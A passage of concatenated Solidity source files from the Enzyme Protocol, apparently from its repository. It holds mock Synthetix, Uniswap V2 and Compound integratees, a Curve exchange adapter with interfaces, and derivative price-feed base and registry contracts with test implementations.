}
function decimals() public view returns (uint256) {
return DECIMALS;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./../../release/interfaces/ISynthetixExchangeRates.sol";
import "../prices/CentralizedRateProvider.sol";
import "../tokens/MockSynthetixToken.sol";
/// @dev Synthetix Integratee. Mocks functionalities from the folllowing synthetix contracts
/// Synthetix, SynthetixAddressResolver, SynthetixDelegateApprovals
/// Link to contracts: <https://github.com/Synthetixio/synthetix/tree/develop/contracts>
contract MockSynthetixIntegratee is Ownable, MockToken {
using SafeMath for uint256;
mapping(address => mapping(address => bool)) private authorizerToDelegateToApproval;
mapping(bytes32 => address) private currencyKeyToSynth;
address private immutable CENTRALIZED_RATE_PROVIDER;
address private immutable EXCHANGE_RATES;
uint256 private immutable FEE;
uint256 private constant UNIT_FEE = 1000;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _centralizedRateProvider,
address _exchangeRates,
uint256 _fee
) public MockToken(_name, _symbol, _decimals) {
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
EXCHANGE_RATES = address(_exchangeRates);
FEE = _fee;
}
receive() external payable {}
function exchangeOnBehalfWithTracking(
address _exchangeForAddress,
bytes32 _srcCurrencyKey,
uint256 _srcAmount,
bytes32 _destinationCurrencyKey,
address,
bytes32
) external returns (uint256 amountReceived_) {
require(
canExchangeFor(_exchangeForAddress, msg.sender),
"exchangeOnBehalfWithTracking: Not approved to act on behalf"
);
amountReceived_ = __calculateAndSwap(
_exchangeForAddress,
_srcAmount,
_srcCurrencyKey,
_destinationCurrencyKey
);
return amountReceived_;
}
function getAmountsForExchange(
uint256 _srcAmount,
bytes32 _srcCurrencyKey,
bytes32 _destCurrencyKey
)
public
returns (
uint256 amountReceived_,
uint256 fee_,
uint256 exchangeFeeRate_
)
{
address srcToken = currencyKeyToSynth[_srcCurrencyKey];
address destToken = currencyKeyToSynth[_destCurrencyKey];
require(
currencyKeyToSynth[_srcCurrencyKey] != address(0) &&
currencyKeyToSynth[_destCurrencyKey] != address(0),
"getAmountsForExchange: Currency key doesn't have an associated synth"
);
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomizedBySender(srcToken, _srcAmount, destToken);
exchangeFeeRate_ = FEE;
amountReceived_ = destAmount.mul(UNIT_FEE.sub(exchangeFeeRate_)).div(UNIT_FEE);
fee_ = destAmount.sub(amountReceived_);
return (amountReceived_, fee_, exchangeFeeRate_);
}
function setSynthFromCurrencyKeys(bytes32[] calldata _currencyKeys, address[] calldata _synths)
external
{
require(
_currencyKeys.length == _synths.length,
"setSynthFromCurrencyKey: Unequal _currencyKeys and _synths lengths"
);
for (uint256 i = 0; i < _currencyKeys.length; i++) {
currencyKeyToSynth[_currencyKeys[i]] = _synths[i];
}
}
function approveExchangeOnBehalf(address _delegate) external {
authorizerToDelegateToApproval[msg.sender][_delegate] = true;
}
function __calculateAndSwap(
address _exchangeForAddress,
uint256 _srcAmount,
bytes32 _srcCurrencyKey,
bytes32 _destCurrencyKey
) private returns (uint256 amountReceived_) {
MockSynthetixToken srcSynth = MockSynthetixToken(currencyKeyToSynth[_srcCurrencyKey]);
MockSynthetixToken destSynth = MockSynthetixToken(currencyKeyToSynth[_destCurrencyKey]);
require(address(srcSynth) != address(0), "__calculateAndSwap: Source synth is not listed");
require(
address(destSynth) != address(0),
"__calculateAndSwap: Destination synth is not listed"
);
require(
!srcSynth.isLocked(_exchangeForAddress),
"__calculateAndSwap: Cannot settle during waiting period"
);
(amountReceived_, , ) = getAmountsForExchange(
_srcAmount,
_srcCurrencyKey,
_destCurrencyKey
);
srcSynth.burnFrom(_exchangeForAddress, _srcAmount);
destSynth.mintFor(_exchangeForAddress, amountReceived_);
destSynth.lock(_exchangeForAddress);
return amountReceived_;
}
function requireAndGetAddress(bytes32 _name, string calldata)
external
view
returns (address resolvedAddress_)
{
if (_name == "ExchangeRates") {
return EXCHANGE_RATES;
}
return address(this);
}
function settle(address, bytes32)
external
returns (
uint256,
uint256,
uint256
)
{}
///////////////////
// STATE GETTERS //
///////////////////
function canExchangeFor(address _authorizer, address _delegate)
public
view
returns (bool canExchange_)
{
return authorizerToDelegateToApproval[_authorizer][_delegate];
}
function getExchangeRates() public view returns (address exchangeRates_) {
return EXCHANGE_RATES;
}
function getFee() public view returns (uint256 fee_) {
return FEE;
}
function getSynthFromCurrencyKey(bytes32 _currencyKey) public view returns (address synth_) {
return currencyKeyToSynth[_currencyKey];
}
function getUnitFee() public pure returns (uint256 fee_) {
return UNIT_FEE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../prices/CentralizedRateProvider.sol";
import "./utils/SimpleMockIntegrateeBase.sol";
/// @dev Mocks the integration with `UniswapV2Router02` <https://uniswap.org/docs/v2/smart-contracts/router02/>
/// Additionally mocks the integration with `UniswapV2Factory` <https://uniswap.org/docs/v2/smart-contracts/factory/>
contract MockUniswapV2Integratee is SwapperBase, Ownable {
using SafeMath for uint256;
mapping(address => mapping(address => address)) private assetToAssetToPair;
address private immutable CENTRALIZED_RATE_PROVIDER;
uint256 private constant PRECISION = 18;
// Set in %, defines the MAX deviation per block from the mean rate
uint256 private blockNumberDeviation;
constructor(
address[] memory _listOfToken0,
address[] memory _listOfToken1,
address[] memory _listOfPair,
address _centralizedRateProvider,
uint256 _blockNumberDeviation
) public {
addPair(_listOfToken0, _listOfToken1, _listOfPair);
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
blockNumberDeviation = _blockNumberDeviation;
}
/// @dev Adds the maximum possible value from {_amountADesired _amountBDesired}
/// Makes use of the value interpreter to perform those calculations
function addLiquidity(
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired,
uint256,
uint256,
address,
uint256
)
external
returns (
uint256,
uint256,
uint256
)
{
__addLiquidity(_tokenA, _tokenB, _amountADesired, _amountBDesired);
}
/// @dev Removes the specified amount of liquidity
/// Returns 50% of the incoming liquidity value on each token.
function removeLiquidity(
address _tokenA,
address _tokenB,
uint256 _liquidity,
uint256,
uint256,
address,
uint256
) public returns (uint256, uint256) {
__removeLiquidity(_tokenA, _tokenB, _liquidity);
}
function swapExactTokensForTokens(
uint256 amountIn,
uint256,
address[] calldata path,
address,
uint256
) external returns (uint256[] memory) {
uint256 amountOut = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomized(path[0], amountIn, path[1], blockNumberDeviation);
__swapAssets(msg.sender, path[0], amountIn, path[path.length - 1], amountOut);
}
/// @dev We don't calculate any intermediate values here because they aren't actually used
/// Returns the randomized by sender value of the edge path assets
function getAmountsOut(uint256 _amountIn, address[] calldata _path)
external
returns (uint256[] memory amounts_)
{
require(_path.length >= 2, "getAmountsOut: path must be >= 2");
address assetIn = _path[0];
address assetOut = _path[_path.length - 1];
uint256 amountOut = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValueRandomizedBySender(assetIn, _amountIn, assetOut);
amounts_ = new uint256[](_path.length);
amounts_[0] = _amountIn;
amounts_[_path.length - 1] = amountOut;
return amounts_;
}
function addPair(
address[] memory _listOfToken0,
address[] memory _listOfToken1,
address[] memory _listOfPair
) public onlyOwner {
require(
_listOfPair.length == _listOfToken0.length,
"constructor: _listOfPair and _listOfToken0 have an unequal length"
);
require(
_listOfPair.length == _listOfToken1.length,
"constructor: _listOfPair and _listOfToken1 have an unequal length"
);
for (uint256 i; i < _listOfPair.length; i++) {
address token0 = _listOfToken0[i];
address token1 = _listOfToken1[i];
address pair = _listOfPair[i];
assetToAssetToPair[token0][token1] = pair;
assetToAssetToPair[token1][token0] = pair;
}
}
function setBlockNumberDeviation(uint256 _deviationPct) external onlyOwner {
blockNumberDeviation = _deviationPct;
}
// PRIVATE FUNCTIONS
/// Avoids stack-too-deep error.
function __addLiquidity(
address _tokenA,
address _tokenB,
uint256 _amountADesired,
uint256 _amountBDesired
) private {
address pair = getPair(_tokenA, _tokenB);
uint256 amountA;
uint256 amountB;
uint256 amountBFromA = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(_tokenA, _amountADesired, _tokenB);
uint256 amountAFromB = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(_tokenB, _amountBDesired, _tokenA);
if (amountBFromA >= _amountBDesired) {
amountA = amountAFromB;
amountB = _amountBDesired;
} else {
amountA = _amountADesired;
amountB = amountBFromA;
}
uint256 tokenPerLPToken = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(pair, 10**uint256(PRECISION), _tokenA);
// Calculate the inverse rate to know the amount of LPToken to return from a unit of token
uint256 inverseRate = uint256(10**PRECISION).mul(10**PRECISION).div(tokenPerLPToken);
// Total liquidity can be calculated as 2x liquidity from amount A
uint256 totalLiquidity = uint256(2).mul(
amountA.mul(inverseRate).div(uint256(10**PRECISION))
);
require(
ERC20(pair).balanceOf(address(this)) >= totalLiquidity,
"__addLiquidity: Integratee doesn't have enough pair balance to cover the expected amount"
);
address[] memory assetsToIntegratee = new address[](2);
uint256[] memory assetsToIntegrateeAmounts = new uint256[](2);
address[] memory assetsFromIntegratee = new address[](1);
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](1);
assetsToIntegratee[0] = _tokenA;
assetsToIntegrateeAmounts[0] = amountA;
assetsToIntegratee[1] = _tokenB;
assetsToIntegrateeAmounts[1] = amountB;
assetsFromIntegratee[0] = pair;
assetsFromIntegrateeAmounts[0] = totalLiquidity;
__swap(
msg.sender,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
}
/// Avoids stack-too-deep error.
function __removeLiquidity(
address _tokenA,
address _tokenB,
uint256 _liquidity
) private {
address pair = assetToAssetToPair[_tokenA][_tokenB];
require(pair != address(0), "__removeLiquidity: this pair doesn't exist");
uint256 amountA = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(pair, _liquidity, _tokenA)
.div(uint256(2));
uint256 amountB = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(pair, _liquidity, _tokenB)
.div(uint256(2));
address[] memory assetsToIntegratee = new address[](1);
uint256[] memory assetsToIntegrateeAmounts = new uint256[](1);
address[] memory assetsFromIntegratee = new address[](2);
uint256[] memory assetsFromIntegrateeAmounts = new uint256[](2);
assetsToIntegratee[0] = pair;
assetsToIntegrateeAmounts[0] = _liquidity;
assetsFromIntegratee[0] = _tokenA;
assetsFromIntegrateeAmounts[0] = amountA;
assetsFromIntegratee[1] = _tokenB;
assetsFromIntegrateeAmounts[1] = amountB;
require(
ERC20(_tokenA).balanceOf(address(this)) >= amountA,
"__removeLiquidity: Integratee doesn't have enough tokenA balance to cover the expected amount"
);
require(
ERC20(_tokenB).balanceOf(address(this)) >= amountA,
"__removeLiquidity: Integratee doesn't have enough tokenB balance to cover the expected amount"
);
__swap(
msg.sender,
assetsToIntegratee,
assetsToIntegrateeAmounts,
assetsFromIntegratee,
assetsFromIntegrateeAmounts
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @dev By default set to address(0). It is read by UniswapV2PoolTokenValueCalculator: __calcPoolTokenValue
function feeTo() external pure returns (address) {
return address(0);
}
function getCentralizedRateProvider() public view returns (address) {
return CENTRALIZED_RATE_PROVIDER;
}
function getBlockNumberDeviation() public view returns (uint256) {
return blockNumberDeviation;
}
function getPrecision() public pure returns (uint256) {
return PRECISION;
}
function getPair(address _token0, address _token1) public view returns (address) {
return assetToAssetToPair[_token0][_token1];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./MockIntegrateeBase.sol";
abstract contract SimpleMockIntegrateeBase is MockIntegrateeBase {
constructor(
address[] memory _defaultRateAssets,
address[] memory _specialAssets,
uint8[] memory _specialAssetDecimals,
uint256 _ratePrecision
)
public
MockIntegrateeBase(
_defaultRateAssets,
_specialAssets,
_specialAssetDecimals,
_ratePrecision
)
{}
function __getRateAndSwapAssets(
address payable _trader,
address _srcToken,
uint256 _srcAmount,
address _destToken
) internal returns (uint256 destAmount_) {
uint256 actualRate = __getRate(_srcToken, _destToken);
__swapAssets(_trader, _srcToken, _srcAmount, _destToken, actualRate);
return actualRate;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "../../prices/CentralizedRateProvider.sol";
import "../../utils/SwapperBase.sol";
contract MockCTokenBase is ERC20, SwapperBase, Ownable {
address internal immutable TOKEN;
address internal immutable CENTRALIZED_RATE_PROVIDER;
uint256 internal rate;
mapping(address => mapping(address => uint256)) internal _allowances;
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _token,
address _centralizedRateProvider,
uint256 _initialRate
) public ERC20(_name, _symbol) {
_setupDecimals(_decimals);
TOKEN = _token;
CENTRALIZED_RATE_PROVIDER = _centralizedRateProvider;
rate = _initialRate;
}
function approve(address _spender, uint256 _amount) public virtual override returns (bool) {
_allowances[msg.sender][_spender] = _amount;
return true;
}
/// @dev Overriden `allowance` function, give the integratee infinite approval by default
function allowance(address _owner, address _spender) public view override returns (uint256) {
if (_spender == address(this) || _owner == _spender) {
return 2**256 - 1;
} else {
return _allowances[_owner][_spender];
}
}
/// @dev Necessary as this contract doesn't directly inherit from MockToken
function mintFor(address _who, uint256 _amount) external onlyOwner {
_mint(_who, _amount);
}
/// @dev Necessary to allow updates on persistent deployments (e.g Kovan)
function setRate(uint256 _rate) public onlyOwner {
rate = _rate;
}
function transferFrom(
address _sender,
address _recipient,
uint256 _amount
) public virtual override returns (bool) {
_transfer(_sender, _recipient, _amount);
return true;
}
// INTERNAL FUNCTIONS
/// @dev Calculates the cTokenAmount given a tokenAmount
/// Makes use of a inverse rate with the CentralizedRateProvider as a derivative can't be used as quoteAsset
function __calcCTokenAmount(uint256 _tokenAmount) internal returns (uint256 cTokenAmount_) {
uint256 tokenDecimals = ERC20(TOKEN).decimals();
uint256 cTokenDecimals = decimals();
// Result in Token Decimals
uint256 tokenPerCTokenUnit = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER)
.calcLiveAssetValue(address(this), 10**uint256(cTokenDecimals), TOKEN);
// Result in cToken decimals
uint256 inverseRate = uint256(10**tokenDecimals).mul(10**uint256(cTokenDecimals)).div(
tokenPerCTokenUnit
);
// Amount in token decimals, result in cToken decimals
cTokenAmount_ = _tokenAmount.mul(inverseRate).div(10**tokenDecimals);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @dev Part of ICERC20 token interface
function underlying() public view returns (address) {
return TOKEN;
}
/// @dev Part of ICERC20 token interface.
/// Called from CompoundPriceFeed, returns the actual Rate cToken/Token
function exchangeRateStored() public view returns (uint256) {
return rate;
}
function getCentralizedRateProvider() public view returns (address) {
return CENTRALIZED_RATE_PROVIDER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./MockCTokenBase.sol";
contract MockCTokenIntegratee is MockCTokenBase {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _token,
address _centralizedRateProvider,
uint256 _initialRate
)
public
MockCTokenBase(_name, _symbol, _decimals, _token, _centralizedRateProvider, _initialRate)
{}
function mint(uint256 _amount) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
TOKEN,
_amount,
address(this)
);
__swapAssets(msg.sender, TOKEN, _amount, address(this), destAmount);
return _amount;
}
function redeem(uint256 _amount) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
address(this),
_amount,
TOKEN
);
__swapAssets(msg.sender, address(this), _amount, TOKEN, destAmount);
return _amount;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./MockCTokenBase.sol";
contract MockCEtherIntegratee is MockCTokenBase {
constructor(
string memory _name,
string memory _symbol,
uint8 _decimals,
address _weth,
address _centralizedRateProvider,
uint256 _initialRate
)
public
MockCTokenBase(_name, _symbol, _decimals, _weth, _centralizedRateProvider, _initialRate)
{}
function mint() external payable {
uint256 amount = msg.value;
uint256 destAmount = __calcCTokenAmount(amount);
__swapAssets(msg.sender, ETH_ADDRESS, amount, address(this), destAmount);
}
function redeem(uint256 _amount) external returns (uint256) {
uint256 destAmount = CentralizedRateProvider(CENTRALIZED_RATE_PROVIDER).calcLiveAssetValue(
address(this),
_amount,
TOKEN
);
__swapAssets(msg.sender, address(this), _amount, ETH_ADDRESS, destAmount);
return _amount;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../../../interfaces/ICurveAddressProvider.sol";
import "../../../../interfaces/ICurveSwapsERC20.sol";
import "../../../../interfaces/ICurveSwapsEther.sol";
import "../../../../interfaces/IWETH.sol";
import "../utils/AdapterBase.sol";
/// @title CurveExchangeAdapter Contract
/// @author Enzyme Council <[email protected]>
/// @notice Adapter for swapping assets on Curve <https://www.curve.fi/>
contract CurveExchangeAdapter is AdapterBase {
address private constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private immutable ADDRESS_PROVIDER;
address private immutable WETH_TOKEN;
constructor(
address _integrationManager,
address _addressProvider,
address _wethToken
) public AdapterBase(_integrationManager) {
ADDRESS_PROVIDER = _addressProvider;
WETH_TOKEN = _wethToken;
}
/// @dev Needed to receive ETH from swap and to unwrap WETH
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Provides a constant string identifier for an adapter
/// @return identifier_ The identifer string
function identifier() external pure override returns (string memory identifier_) {
return "CURVE_EXCHANGE";
}
/// @notice Parses the expected assets to receive from a call on integration
/// @param _selector The function selector for the callOnIntegration
/// @param _encodedCallArgs The encoded parameters for the callOnIntegration
/// @return spendAssetsHandleType_ A type that dictates how to handle granting
/// the adapter access to spend assets (`None` by default)
/// @return spendAssets_ The assets to spend in the call
/// @return spendAssetAmounts_ The max asset amounts to spend in the call
/// @return incomingAssets_ The assets to receive in the call
/// @return minIncomingAssetAmounts_ The min asset amounts to receive in the call
function parseAssetsForMethod(bytes4 _selector, bytes calldata _encodedCallArgs)
external
view
override
returns (
IIntegrationManager.SpendAssetsHandleType spendAssetsHandleType_,
address[] memory spendAssets_,
uint256[] memory spendAssetAmounts_,
address[] memory incomingAssets_,
uint256[] memory minIncomingAssetAmounts_
)
{
require(_selector == TAKE_ORDER_SELECTOR, "parseAssetsForMethod: _selector invalid");
(
address pool,
address outgoingAsset,
uint256 outgoingAssetAmount,
address incomingAsset,
uint256 minIncomingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
require(pool != address(0), "parseAssetsForMethod: No pool address provided");
spendAssets_ = new address[](1);
spendAssets_[0] = outgoingAsset;
spendAssetAmounts_ = new uint256[](1);
spendAssetAmounts_[0] = outgoingAssetAmount;
incomingAssets_ = new address[](1);
incomingAssets_[0] = incomingAsset;
minIncomingAssetAmounts_ = new uint256[](1);
minIncomingAssetAmounts_[0] = minIncomingAssetAmount;
return (
IIntegrationManager.SpendAssetsHandleType.Transfer,
spendAssets_,
spendAssetAmounts_,
incomingAssets_,
minIncomingAssetAmounts_
);
}
/// @notice Trades assets on Curve
/// @param _vaultProxy The VaultProxy of the calling fund
/// @param _encodedCallArgs Encoded order parameters
function takeOrder(
address _vaultProxy,
bytes calldata _encodedCallArgs,
bytes calldata
) external onlyIntegrationManager {
(
address pool,
address outgoingAsset,
uint256 outgoingAssetAmount,
address incomingAsset,
uint256 minIncomingAssetAmount
) = __decodeCallArgs(_encodedCallArgs);
address swaps = ICurveAddressProvider(ADDRESS_PROVIDER).get_address(2);
__takeOrder(
_vaultProxy,
swaps,
pool,
outgoingAsset,
outgoingAssetAmount,
incomingAsset,
minIncomingAssetAmount
);
}
// PRIVATE FUNCTIONS
/// @dev Helper to decode the take order encoded call arguments
function __decodeCallArgs(bytes memory _encodedCallArgs)
private
pure
returns (
address pool_,
address outgoingAsset_,
uint256 outgoingAssetAmount_,
address incomingAsset_,
uint256 minIncomingAssetAmount_
)
{
return abi.decode(_encodedCallArgs, (address, address, uint256, address, uint256));
}
/// @dev Helper to execute takeOrder. Avoids stack-too-deep error.
function __takeOrder(
address _vaultProxy,
address _swaps,
address _pool,
address _outgoingAsset,
uint256 _outgoingAssetAmount,
address _incomingAsset,
uint256 _minIncomingAssetAmount
) private {
if (_outgoingAsset == WETH_TOKEN) {
IWETH(WETH_TOKEN).withdraw(_outgoingAssetAmount);
ICurveSwapsEther(_swaps).exchange{value: _outgoingAssetAmount}(
_pool,
ETH_ADDRESS,
_incomingAsset,
_outgoingAssetAmount,
_minIncomingAssetAmount,
_vaultProxy
);
} else if (_incomingAsset == WETH_TOKEN) {
__approveMaxAsNeeded(_outgoingAsset, _swaps, _outgoingAssetAmount);
ICurveSwapsERC20(_swaps).exchange(
_pool,
_outgoingAsset,
ETH_ADDRESS,
_outgoingAssetAmount,
_minIncomingAssetAmount,
address(this)
);
// wrap received ETH and send back to the vault
uint256 receivedAmount = payable(address(this)).balance;
IWETH(payable(WETH_TOKEN)).deposit{value: receivedAmount}();
ERC20(WETH_TOKEN).safeTransfer(_vaultProxy, receivedAmount);
} else {
__approveMaxAsNeeded(_outgoingAsset, _swaps, _outgoingAssetAmount);
ICurveSwapsERC20(_swaps).exchange(
_pool,
_outgoingAsset,
_incomingAsset,
_outgoingAssetAmount,
_minIncomingAssetAmount,
_vaultProxy
);
}
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `ADDRESS_PROVIDER` variable
/// @return addressProvider_ The `ADDRESS_PROVIDER` variable value
function getAddressProvider() external view returns (address addressProvider_) {
return ADDRESS_PROVIDER;
}
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() external view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveSwapsERC20 Interface
/// @author Enzyme Council <[email protected]>
interface ICurveSwapsERC20 {
function exchange(
address,
address,
address,
uint256,
uint256,
address
) external returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title ICurveSwapsEther Interface
/// @author Enzyme Council <[email protected]>
interface ICurveSwapsEther {
function exchange(
address,
address,
address,
uint256,
uint256,
address
) external payable returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../IDerivativePriceFeed.sol";
import "./SingleUnderlyingDerivativeRegistryMixin.sol";
/// @title PeggedDerivativesPriceFeedBase Contract
/// @author Enzyme Council <[email protected]>
/// @notice Price feed base for multiple derivatives that are pegged 1:1 to their underlyings,
/// and have the same decimals as their underlying
abstract contract PeggedDerivativesPriceFeedBase is
IDerivativePriceFeed,
SingleUnderlyingDerivativeRegistryMixin
{
constructor(address _dispatcher) public SingleUnderlyingDerivativeRegistryMixin(_dispatcher) {}
/// @notice Converts a given amount of a derivative to its underlying asset values
/// @param _derivative The derivative to convert
/// @param _derivativeAmount The amount of the derivative to convert
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The amount of each underlying asset for the equivalent derivative amount
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
address underlying = getUnderlyingForDerivative(_derivative);
require(underlying != address(0), "calcUnderlyingValues: Not a supported derivative");
underlyings_ = new address[](1);
underlyings_[0] = underlying;
underlyingAmounts_ = new uint256[](1);
underlyingAmounts_[0] = _derivativeAmount;
return (underlyings_, underlyingAmounts_);
}
/// @notice Checks if an asset is supported by the price feed
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is supported
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return getUnderlyingForDerivative(_asset) != address(0);
}
/// @dev Provides validation that the derivative and underlying have the same decimals.
/// Can be overrode by the inheriting price feed using super() to implement further validation.
function __validateDerivative(address _derivative, address _underlying)
internal
virtual
override
{
require(
ERC20(_derivative).decimals() == ERC20(_underlying).decimals(),
"__validateDerivative: Unequal decimals"
);
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../../../utils/DispatcherOwnerMixin.sol";
/// @title SingleUnderlyingDerivativeRegistryMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice Mixin for derivative price feeds that handle multiple derivatives
/// that each have a single underlying asset
abstract contract SingleUnderlyingDerivativeRegistryMixin is DispatcherOwnerMixin {
event DerivativeAdded(address indexed derivative, address indexed underlying);
event DerivativeRemoved(address indexed derivative);
mapping(address => address) private derivativeToUnderlying;
constructor(address _dispatcher) public DispatcherOwnerMixin(_dispatcher) {}
/// @notice Adds derivatives with corresponding underlyings to the price feed
/// @param _derivatives The derivatives to add
/// @param _underlyings The corresponding underlyings to add
function addDerivatives(address[] memory _derivatives, address[] memory _underlyings)
external
virtual
onlyDispatcherOwner
{
require(_derivatives.length > 0, "addDerivatives: Empty _derivatives");
require(_derivatives.length == _underlyings.length, "addDerivatives: Unequal arrays");
for (uint256 i; i < _derivatives.length; i++) {
require(_derivatives[i] != address(0), "addDerivatives: Empty derivative");
require(_underlyings[i] != address(0), "addDerivatives: Empty underlying");
require(
getUnderlyingForDerivative(_derivatives[i]) == address(0),
"addDerivatives: Value already set"
);
__validateDerivative(_derivatives[i], _underlyings[i]);
derivativeToUnderlying[_derivatives[i]] = _underlyings[i];
emit DerivativeAdded(_derivatives[i], _underlyings[i]);
}
}
/// @notice Removes derivatives from the price feed
/// @param _derivatives The derivatives to remove
function removeDerivatives(address[] memory _derivatives) external onlyDispatcherOwner {
require(_derivatives.length > 0, "removeDerivatives: Empty _derivatives");
for (uint256 i; i < _derivatives.length; i++) {
require(
getUnderlyingForDerivative(_derivatives[i]) != address(0),
"removeDerivatives: Value not set"
);
delete derivativeToUnderlying[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
/// @dev Optionally allow the inheriting price feed to validate the derivative-underlying pair
function __validateDerivative(address, address) internal virtual {
// UNIMPLEMENTED
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the underlying asset for a given derivative
/// @param _derivative The derivative for which to get the underlying asset
/// @return underlying_ The underlying asset
function getUnderlyingForDerivative(address _derivative)
public
view
returns (address underlying_)
{
return derivativeToUnderlying[_derivative];
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../release/infrastructure/price-feeds/derivatives/feeds/utils/PeggedDerivativesPriceFeedBase.sol";
/// @title TestSingleUnderlyingDerivativeRegistry Contract
/// @author Enzyme Council <[email protected]>
/// @notice A test implementation of PeggedDerivativesPriceFeedBase
contract TestPeggedDerivativesPriceFeed is PeggedDerivativesPriceFeedBase {
constructor(address _dispatcher) public PeggedDerivativesPriceFeedBase(_dispatcher) {}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../release/infrastructure/price-feeds/derivatives/feeds/utils/SingleUnderlyingDerivativeRegistryMixin.sol";
/// @title TestSingleUnderlyingDerivativeRegistry Contract
/// @author Enzyme Council <[email protected]>
/// @notice A test implementation of SingleUnderlyingDerivativeRegistryMixin
contract TestSingleUnderlyingDerivativeRegistry is SingleUnderlyingDerivativeRegistryMixin {
constructor(address _dispatcher) public SingleUnderlyingDerivativeRegistryMixin(_dispatcher) {}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
